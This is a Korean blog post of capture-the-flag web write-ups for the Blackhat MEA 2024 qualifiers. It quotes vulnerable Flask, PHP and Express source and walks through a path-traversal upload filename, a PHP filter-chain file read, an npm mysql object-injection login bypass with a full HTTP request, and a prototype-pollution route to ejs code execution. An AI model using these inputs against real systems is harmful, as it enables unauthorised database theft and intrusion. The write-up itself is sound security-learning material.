본문 바로가기

보안/Writeup

Blackhat MEA 2024 Quals - Web Writeups (all solve)

Blackhat MEA Quals 2024

Blackhat MEA Quals 2024 Web Writeups

last update 24.09.02

팀원이 없어서 가계정을 두 개 파서 진행했다. 이메일 인증 안했으니 알아서 삭제... 되겠지?

회원탈퇴 버튼이 없다 ;;

 

[WEB] Watermelon (easy)

 

Flask로 작성된 애플리케이션이다.

  • 회원 가입과 로그인, 파일 업로드와 업로드된 파일을 확인하는 기능이 있다.
  • admin 계정의 비밀번호를 알아내야 하는데, 랜덤으로 설정되어 알 수 없다.
  • SQLAlchemy를 사용하여 SQLi가 어렵다.
  • SQLite 데이터베이스를 사용하고, 비밀번호를 해시 처리하지 않으므로 데이터베이스 파일을 통째로 읽어올 수 있으면 문제를 해결할 수 있다.

 

@app.route("/upload", methods=["POST"])
@login_required
def upload_file():
    if 'file' not in request.files:
        return jsonify({"Error": "No file part"}), 400
    
    file = request.files['file']
    if file.filename == '':
        return jsonify({"Error": "No selected file"}), 400
    
    user_id = session.get('user_id')
    if file:
        blocked = ["proc", "self", "environ", "env"]
        filename = file.filename

        if filename in blocked:
            return jsonify({"Error":"Why?"})

        user_dir = os.path.join(app.config['UPLOAD_FOLDER'], str(user_id))
        os.makedirs(user_dir, exist_ok=True)
        

        file_path = os.path.join(user_dir, filename)

        file.save(f"{user_dir}/{secure_filename(filename)}")
        

        new_file = File(filename=secure_filename(filename), filepath=file_path, user_id=user_id)
        db.session.add(new_file)
        db.session.commit()
        
        return jsonify({"Message": "File uploaded successfully", "file_path": file_path}), 201

    return jsonify({"Error": "File upload failed"}), 500

 

업로드 부분이 취약하다. filename 파라미터에 secure_filename을 적용하기는 하는데, filepath에는 sanitizing을 적용하지 않은 값이 그대로 사용된다. 파일의 저장경로는 /app/files/{userid}/{filename}이고 DB 파일의 위치는 /app/instance/db.db이므로 ../../instance/db.db라는 파일을 업로드한 후 읽어오면 된다.

 

HTTP/1.1 200 OK
Date: Sun, 01 Sep 2024 14:42:18 GMT
Content-Type: application/json
Content-Length: 137
Connection: keep-alive
Vary: Cookie
Referrer-Policy: no-referrer

{"files":[{"filename":"instance_db.db","filepath":"files/2/../../instance/db.db","id":1,"uploaded_at":"Sun, 01 Sep 2024 14:32:00 GMT"}]}

실제로 filename은 sanitize 됐지만, filepath는 입력 그대로임을 확인할 수 있다.

@app.route("/file/<int:file_id>", methods=["GET"])
@login_required  
def view_file(file_id):
    user_id = session.get('user_id')
    file = File.query.filter_by(id=file_id, user_id=user_id).first()

    if file is None:
        return jsonify({"Error": "File not found or unauthorized access"}), 404
    
    try:
        return send_file(file.filepath, as_attachment=True)
    except Exception as e:
        return jsonify({"Error": str(e)}), 500

파일을 읽어오는 부분에서도 DB를 신뢰하고 별도의 검증을 하지 않아서, SQlite 데이터베이스를 통째로 내려받을 수 있다.

 

BHFlagY{7430979c833ed96848a45db5f807e6dc}

 

[WEB] free flag (easy)

    if(isset($_POST['file']))
    {
        if(isRateLimited())
        {
            die("Limited 1 req per second");
        }
        $file = $_POST['file'];
        if(substr(file_get_contents($file),0,5) !== "<?php" && substr(file_get_contents($file),0,5) !== "<html") # i will let you only read my source haha
        {
            die("catched");
        }
        else
        {
            echo file_get_contents($file);
        }
    }

 

file_get_contents를 통해 임의의 파일을 읽을 수 있다. 하지만 파일의 시작이 <?php여야만 내용을 확인할 수 있다. LFI인건 확실한데, include라면 php://input를 이용해 RCE를 할 수 있겠지만 file_get_contents를 어떻게 우회할 수 있을까?

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/README.md

만물의바다에서 힌트를 찾았다. 다국어 필터를 조합하면 읽으려고 하는 파일 앞뒤에 특정 단어를 붙일 수 있었다.

 

https://www.ambionics.io/blog/wrapwrap-php-filters-suffix

읽어봐야겠따.

BHFlagY{c29b8a6618ec67f56265e66c6d65bf7b}

 

[WEB] notey (medium)

express로 작성된 애플리케이션이다.

  • 회원 가입과 로그인, 메모 작성과 확인 기능이 있다.
  • admin이 작성한 메모를 확인해야 한다.
  • 메모 번호와 비밀번호를 알면 다른 사람의 메모를 조회할 수 있다.
  • npm mysql을 사용하여 데이터베이스에 접근한다.

 

npm의 MySQL 접속 드라이버 중mysql2가 아니라 mysql 패키지를 사용하면, prepared statement를 사용하지 않는다. 겉보기에는 prepared statement를 사용하여 SQLi 공격을 방어하는 것 같지만, 사실은 서버에 요청을 보내기 전 로컬에서 처리만 한다.

This looks similar to prepared statements in MySQL, however it really just uses the same connection.escape() method internally. (mysqljs/mysql)

 

위 메뉴얼을 보면 복합 자료형일 때 toString 결과가 아니라 그 자료형을 그대로 쓴다고 나와 있다.

SELECT * FROM database.`users` WHERE `users`.`name` = ?

를 구문으로 하고, 인자로 {"id": "a"}이 들어오면,

SELECT * FROM database.`users` WHERE `users`.`name` = `id` = "a"

와 같이 확장된다. 이때 SQL의 비교 연산자는 우결합이므로, id 컬럼의 값을 먼저 비교하고, boolean 값인 비교 결과와 name 컬럼의 값을 비교한다. MySQL은 문자열과 숫자를 비교할 때 0과 1로만 판단하는 재밌는 트릭이 있다.

+---------+---------+---------+---------+
| 'a' = 1 | 'a' = 0 | '1' = 1 | '1' = 0 |
+---------+---------+---------+---------+
|       0 |       1 |       1 |       0 |
+---------+---------+---------+---------+

 

app.use(bodyParser.urlencoded({
extended: true
}))

복합 자료형을 파싱하는 옵션이 켜져 있어서 npm mysql 드라이버의 허점을 이용한 공격을 할 수 있다.

자료형을 확인하는 미들웨어가 적용되지 않은 엔드포인트 중, 쿼리를 날리는 엔드포인트는 /viewNote가 있다.

const query = 'SELECT note_id,username,note FROM notes WHERE note_id = ? and secret = ?';

관리자가 작성한 메모의 번호와 비밀번호 모두 모르지만, 위에서 설명한 문자열 비교 트릭으로 모두 우회 가능하다.

 

GET /viewNote?note_id[username]=0&note_secret[username]=0 HTTP/1.1
Host: 172.19.87.23:5000
Cookie: connect.sid=s%3AimUtO4Eb4qH0TsI2ks80XstgoHBj9XkM.cO1ahohauAcNnSMciMiNu%2F8kW%2B10pA32FJ3UER7CtWU
Connection: keep-alive

이렇게 요청을 보내면

SELECT note_id,username,note FROM notes WHERE note_id = `username` = 0 and secret = `secret` = 0

이런 쿼리가 DBMS에 보내지고, note_id = (username = 0)에서 문자열은 0으로 평가되므로 noteid = 0, 결과적으로 1이 되어 모든 노트가 쿼리된다.

 

그리고 로그인을 못해 플래그를 못 따고 있었는데.. 티켓을 열어서 혹시 express 세션 우회까지가 문제인지 문의해 보니 인스턴스 초기화를 수 초 단위로 한다고 했다. 그래서 스크립트 짜서 몇 번 해본 끝에 성공했다. 레이스컨디션;;

 

BHFlagY{b7e1a9cd0cd1845e6542ec27375a05d2}

 

[WEB] Fastest Delivery Service (hard)

express로 작성된 애플리케이션이다.

  • 미들웨어 등은 app.js에서 연결하지 않아 볼 필요가 없는 파일들이다.
  • 회원 등록을 하면 주소를 설정할 수 있다.
  • ejs를 이용해 사용자 이름을 렌더링한다.

 

let addresses = {};

// ...

app.post('/address', (req, res) => {
    const { user } = req.session;
    const { addressId, Fulladdress } = req.body;

    if (user && users[user.username]) {
        addresses[user.username][addressId] = Fulladdress;
        users[user.username].address = addressId;
        res.redirect('/login');
    } else {
        res.redirect('/register');
    }
});

회원가입을 할 떄 사용자 이름 제한이 없어서 __proto__를 이름으로 쓴다면 Prototype Pollution이 가능하다. addresses 딕셔너리는 Null prototype에서 만들어진 객체가 아니기 때문에, addressses를 오염시키면 다른 객체들도 모두 오염된다.

 

도커파일을 보면 플래그가 저장되는 파일의 이름이 랜덤으로 저장되어서 RCE를 터트려야 한다. ejs 3.1.6의 RCE 취약점이 생각났다. 찾아보니, CVE-2022-29078 이후에도 ejs를 통한 RCE가 많이 발견되었다.

prototype pollution을 통해 ejs 공격 벡터를 짜면 RCE 가능하다. 다만 "를 입력하면 addslashes 처리가 되어 큰따옴표 없는 페이로드를 써야 한다. CVE로 등록되지는 않았지만, 공개된 페이로드가 몇 개 있었다.

 

가장 약한 고리가 취약한 지점이라는 말이 괜히 나온게 아니다...

나도하나 찾아봐야지!

 

'보안 > Writeup' 카테고리의 다른 글

Hacktheon 2024 qualifying  (0) 2024.04.28
b01lers CTF 2023 - Web Writeups  (0) 2023.03.20
Blackhat MEA 2022 Quals - Hope You Know JS  (0) 2023.03.19
SSTF 2022 writeup  (0) 2023.03.19
GDG Algiers CTF 2022 - Web - Validator  (0) 2022.10.10